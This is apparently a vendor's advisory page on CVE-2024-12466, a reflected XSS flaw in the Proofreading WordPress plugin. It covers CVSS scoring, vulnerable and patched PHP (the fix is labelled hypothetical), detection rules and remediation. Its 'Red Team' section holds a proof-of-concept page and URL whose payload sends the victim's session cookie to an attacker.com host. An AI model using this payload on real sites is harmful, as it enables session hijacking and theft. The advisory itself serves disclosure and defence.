CVE-2024-12466
Executive Summary
CVE-2024-12466 is a reflected Cross-Site Scripting (XSS) vulnerability in the Proofreading WordPress plugin, affecting all versions up to and including 1.2.1.1. The flaw resides in the insufficient sanitization of the nonce parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement within the victim's browser session. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx server configurations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The medium severity reflects the need for user interaction, but the lack of authentication and the potential for session hijacking elevate the risk for WordPress sites using this plugin.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the nonce parameter of the Proofreading plugin. The plugin fails to properly sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a URL containing malicious JavaScript in the nonce parameter. When a logged-in administrator or editor clicks the link, the script executes in the context of the WordPress admin panel, potentially allowing the attacker to create new admin users, modify posts, or steal session cookies.
The attack flow:
- Attacker crafts a malicious URL:
https://target.com/wp-admin/admin-ajax.php?action=proofreading&nonce=<script>alert('XSS')</script> - Victim (authenticated WordPress user) clicks the link.
- The script executes, sending session data to an attacker-controlled server.
Vulnerable vs. Patched Code
Vulnerable Code (proofreading.php, version 1.2.1.1):
$nonce = $_GET['nonce'];
echo '<input type="hidden" name="nonce" value="' . $nonce . '">';
The $nonce value is directly echoed without sanitization or escaping.
Patched Code (hypothetical fix):
$nonce = sanitize_text_field($_GET['nonce']);
echo '<input type="hidden" name="nonce" value="' . esc_attr($nonce) . '">';
The fix uses sanitize_text_field() to strip malicious content and esc_attr() to safely output the value in an HTML attribute context.
Exploitation & Lab Setup
Red Team
Proof of Concept (PoC):
<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
var xss_url = "https://target.com/wp-admin/admin-ajax.php?action=proofreading&nonce=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>";
window.open(xss_url);
</script>
</body>
</html>
Usage: Host the PoC on an attacker-controlled server. Send the link to a logged-in WordPress admin. When clicked, the victim's session cookie is exfiltrated to the attacker's server.
Blue Team
Detection Steps:
- Monitor web server logs for requests to
admin-ajax.phpwithaction=proofreadingand suspiciousnonceparameters containing<script>oronerrortags. - Use WAF rules to block requests with
nonceparameters containing HTML/JavaScript. - Educate users to avoid clicking untrusted links, especially those containing
nonceparameters.
Indicators of Compromise (IOCs)
- URL Pattern:
*/wp-admin/admin-ajax.php?action=proofreading&nonce=* - HTTP Request Parameter:
noncecontaining<script>,onerror,onload, or base64-encoded JavaScript. - Network Traffic: Outbound connections to unknown IPs or domains from the WordPress admin panel.
- Log Entries: Repeated
admin-ajax.phprequests withaction=proofreadingfrom a single IP.
Detection Engineering
YARA Rule
rule CVE_2024_12466_Proofreading_XSS {
meta:
description = "Detects reflected XSS attempts against Proofreading plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12466"
strings:
$xss1 = /nonce=.*<script/i
$xss2 = /nonce=.*onerror/i
$xss3 = /nonce=.*onload/i
$xss4 = /nonce=.*%3Cscript/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS via Proofreading Plugin nonce Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against the Proofreading WordPress plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- "action=proofreading"
- "nonce="
cs-uri-query|re:
- "(nonce=.*<script)"
- "(nonce=.*onerror)"
- "(nonce=.*onload)"
condition: selection
falsepositives:
- Legitimate use of nonce parameter with similar patterns (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12466 Proofreading Plugin Reflected XSS"; flow:to_server; content:"action=proofreading"; http_uri; content:"nonce="; http_uri; pcre:"/(nonce=.*<script|nonce=.*onerror|nonce=.*onload)/Ui"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Proofreading plugin until a patch is available.
- Workaround: Implement a Web Application Firewall (WAF) rule to block requests containing
nonce=<scriptor similar patterns. - Long-term Fix: Replace the plugin with an alternative that is actively maintained.
- User Training: Educate WordPress administrators to avoid clicking suspicious links, especially those containing
nonceparameters. - Monitoring: Enable logging for
admin-ajax.phprequests and review for anomalies.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.